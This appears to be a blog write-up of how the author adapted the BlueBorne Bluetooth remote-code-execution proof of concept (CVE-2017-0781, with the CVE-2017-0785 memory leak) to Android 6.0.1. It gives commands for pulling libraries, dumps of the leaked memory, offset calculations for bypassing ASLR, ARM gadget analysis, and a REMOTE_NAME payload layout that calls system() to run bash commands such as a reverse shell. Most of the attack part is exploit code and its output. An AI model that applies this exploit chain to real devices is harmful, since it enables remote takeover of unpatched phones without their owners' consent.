BlueBorne RCE on Android 6.0.1 (CVE-2017-0781) [English]

A few days ago, the company Armis published a proof of concept (PoC) of a remote code execution vulnerability in Android via Bluetooth (CVE-2017-0781), known as BlueBorne. Although BlueBorne refers to a set of 8 vulnerabilities, this PoC uses only 2 of them to achieve its goal.

The exploitation process is divided into 2 phases, first the memory leak vulnerability (CVE-2017-0785) is used to know the memory addresses and bypass the ASLR protection, and thus make a call to the function libc library system and execute code on the phone, in this case a reverse shell.

The original source code of the Armis PoC is oriented to Android 7.1.2 on Pixel and Nexus 5X phones, and it is implied that to use it in another model it is only necessary to modify in the code the offsets of libc and bluetooth libraries.

Later we will see how in the version 6.0.1 analyzed, the changes in the code of the bluetooth library are significant, complicating the exploitation and forcing us to make more modifications in the code of the PoC.

To perform some of the following actions it is necessary to have root privileges on the phone.

Libraries download

The first step is to extract the libraries to analyze them on our computer with IDA or Radare.

$ adb pull /system/lib/hw/bluetooth.default.so
$ adb pull /system/lib/libc.so

libc system function

We open libc.so with Radare and look for the system function. As we can see it is in the address 0x3ea04, which we introduce in the variable LIBC_TEXT_STSTEM_OFFSET = 0x3ea04 +1.

$ r2 -A libc.so

> afl~system
0x0003ea04   10 184          sym.system

Memory leak

The memory leak allows us to discover in which direction the libraries libc.so and bluetooth.default.so have been loaded.

In the analyzed model, the necessary elements are not in the same position of the extracted memory, so we must look for the values ​​that point inside the libraries and modify the following code according to this.

likely_some_libc_blx_offset = result[X][X]
likely_some_bluetooth_default_global_var_offset = result[X][X]

To perform this task we need to obtain a memory dump, and the section map of the com.android.bluetooth process. It’s important to obtain this data at the same time because these addresses changes each time the process is restarted.

$ ps | grep blue
bluetooth 2184  212   905552 47760 sys_epoll_ b6ca7894 S com.android.bluetooth

$ cat /proc/2184/maps|grep bluetooth.default.so
b376f000-b38b0000 r-xp 00000000 b3:19 1049       /system/lib/hw/bluetooth.default.so
b38b1000-b38b4000 r--p 00141000 b3:19 1049       /system/lib/hw/bluetooth.default.so
b38b4000-b38b5000 rw-p 00144000 b3:19 1049       /system/lib/hw/bluetooth.default.so

We search in the memory leak a value between 0xb376f000 and 0xb38b5000, for convenience I use the script CVE-2017-0785.py

$ python CVE-2017-0785.py TARGET=BC:F5:AC:XX:XX:XX | grep "b3 7.\|b3 8."
00000050  00 00 00 00  00 02 00 01  00 00 01 00  b3 85 e3 b7
00000060  00 00 00 00  ae df c5 f0  ac b6 19 10  b3 8b ed 84
...
000000f0  b3 8b ed 78  00 00 00 00  ab 10 2e 10  ab 12 af 50
00000100  ac b6 11 f0  b3 8b ed 78  00 00 00 00  b3 85 e4 7d
00000110  00 00 00 00  b3 85 e3 b7  ac b6 11 f0  b3 85 b9 11
00000120  ac b6 11 f0  b3 8b ed 84  b3 84 8c 8d  b3 97 f5 2c
...
00000180  00 00 00 00  b3 8b 3d 80  ae e1 55 ec  ae e1 56 cc

In my case I used 0xb38b3d80 (line 180), we calculated the offset and updated the variable BLUETOOTH_BSS_SOME_VAR_OFFSET, without forgetting also to update the element of the result table from which we have obtained this value.

To calculate the base address of libc we follow the same process.

$ cat /proc/2184/maps|grep libc.so
b6c67000-b6cd9000 r-xp 00000000 b3:19 1118       /system/lib/libc.so
b6cd9000-b6cdd000 r--p 00071000 b3:19 1118       /system/lib/libc.so
b6cdd000-b6ce0000 rw-p 00075000 b3:19 1118       /system/lib/libc.so
$ python CVE-2017-0785.py TARGET=BC:F5:AC:XX:XX:XX | grep "b6 c."
00000080  00 00 00 00  00 00 00 00  00 00 02 a8  b6 ce 92 e8
000000a0  00 00 00 08  ab 1b 04 c8  b6 cd c5 94  00 00 00 01
000000b0  b3 99 18 20  b6 cb c3 cf  ab 1b 04 c8  ae df c8 68
000000c0  ae ed 10 00  ab 10 2e 10  b6 ce 93 0c  ab 1b 04 c0
...
00000350  b6 cd c5 94  00 00 00 01  ab 10 44 3c  b6 cb c3 cf
00000370  b6 ce 93 0c  ab 1b 04 c0  b6 cd c5 94  ab 1b 04 c8
00000380  ae ea 04 20  b6 cb f2 5b  00 01 00 00  ab 10 2f 00
00000400  00 00 00 01  b6 cb 05 c3  ab 10 44 30  00 00 00 00

With any of these values ​​we calculate the offset and enter it in the variable LIBC_SOME_BLX_OFFSET

From this moment we can forget the ASLR.

Update

With this code we can show the memory leak of the result variable of the script.

def print_result(result):
    i = 0
    for line in result:
      sys.stdout.write("%02d: " % i)
      for x in line:
        sys.stdout.write("%08x " % x) 
      else:
        sys.stdout.write("\n")
        i += 1

In addition, if we take samples of several processes we can compare them to see which values ​​do not change and take them as a reference.

$ python3 diff.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14
00: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
01: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
02: 00000000 00000000 00000000 00020001 a___0700 _____061 00000000 b6d__d59 _____481 
03: ________ 00000000 00000008 _____541 _____1e3 00007530 00000000 ________ _____534 
04: ________ _____534 a______0 _____463 _____481 ________ 00000000 00000000 ________ 
05: _____783 a______8 ________ _____000 a_______ b6d__274 a______0 b6d__594 a______8 
06: ________ b6d__eeb ___0____ 00000008 b3______ _______0 _____f50 00000000 a_______ 
07: b3______ _______0 _____f50 00000000 _____bad 00000000 _____adf _______0 _____061 
08: _______0 _____f58 _____481 _____bd8 00000000 0000000f ________ _____1e3 00007530 
09: 00000000 _____bd8 _____534 _____bd8 _____534 _______0 _____463 _____481 _____bd8 
10: 00000000 00000000 _____bd8 _____783 _____481 _____bd0 0000____ _______c _____d34 
11: _______c _______b _______b 00000002 _____053 _______b 0000000_ 00000000 b4d____0 
12: _____090 00000004 _____538 b6d__035 00000000 00000000 00000005 00000348 000005f0 
13: b6d__250 ________ 00000005 _______0 _____000 00000008 a______8 b6d__594 00000001 
14: 00000000 b6d__03f a______8 _______0 _____000 ________ b6d__274 a______0 b6d__594 
15: a______8 _______0 b6d__eeb 00000000 _____c9d ________ 4000____ a______0 00000003 
16: 00000000 a______0 a______8 ________ 00000004 _______c 00000006 _______c _____4c1 
17: 0000004_ _______4 ________ 00000000 _____4e5 00000006 ________ 00000014 _____827 
18: _____f3c _____75f fffff855 _____581 _____618 b______0 _____607 _____f5c 0000000f 
19: 0000000f 00000001 00000000 0000000f _______c _______4 ________ 00000000 _____bd7

REMOTE_NAME variable

This variable contains the name of the device that makes the connection and in the PoC version 7.1.2 it is used to enter the system address and the bash command. Later it is detailed so that we will use this variable.

The method I followed to find the memory address of this variable has been to use GDB with PEDA-ARM and searchmem memory search function. This offset is entered in the variable BSS_ACL_REMOTE_NAME_OFFSET.

Searchmem

hexdump-remotename

Payload

As we see in the technical detail of the Armis PoC https://go.armis.com/hubfs/BlueBorne - Android Exploit.pdf, if we overwrite R0 with the address of REMOTE_NAME, the btu_hci_msg_process function jumps to the address contained in [REMOTE_NAME + 8], leaving the address of REMOTE_NAME on R0.

mov r4, r0
...
ldr r1, [r4 + 8]
mov r0, r4
blx r1

Therefore, in this case we enter the memory address of the system function in REMOTE_NAME+8. The argument that the system function will execute is the content of REMOTE_NAME, so having the system address inside it would cause an error. The people of Armis solve this problem using the following structure, in which the 2 commands are separated with ;, leaving the system address in position 8.

Payload is: '"\x17AAAAAAsysm";\n<bash_commands>\n#'

In version 6.0.1 of Android it is not possible to perform the operation in the same way since this same function does not exist in the library. On the other hand, within the exploitable functions, I have used the 000f1e36 function that also allows us to control the jump direction and the value of r0.

000f1e36

These are the instructions that allow us to control r0 and the jump direction.

ldr r0, [r0 + 4]
...
ldr r3, [r0 + 8]
ldr r0, [r0]
ldr r2, [r3 + 28]
blx r2

Simplifying, we have the following equation, where x is the value of 4 bytes that we control.

jump = [[[x+4]+8]+28]
r0 = [[x+4]]

To achieve our goal we need to use three pointers to control the jump, and one to control the r0; when originally only one was needed that pointed to system.

The payload used as REMOTE_NAME follows the following structure.

0                  4      8           12       16              X
+------------------+------+-----------+--------+---------------+
| shellscript_addr | name | name - 16 | system | bash_commands |
+------------------+------+-----------+--------+---------------+

Jump address:
1 : [name+4] = name
2 : [name+8] = name-16
3 : [name-16+28] = [name+12] = system

r0:
1 : [name+4] = name
2 : [name] = shellscript_addr

Execution

Once the code is finished, we test it and observe how, like the original PoC, it is necessary to launch it several times to obtain a satisfactory exploitation.

poc-nexus5

Code

blueborne-nexus5.py

diff.py

Armis BlueBorne Android Exploit PoC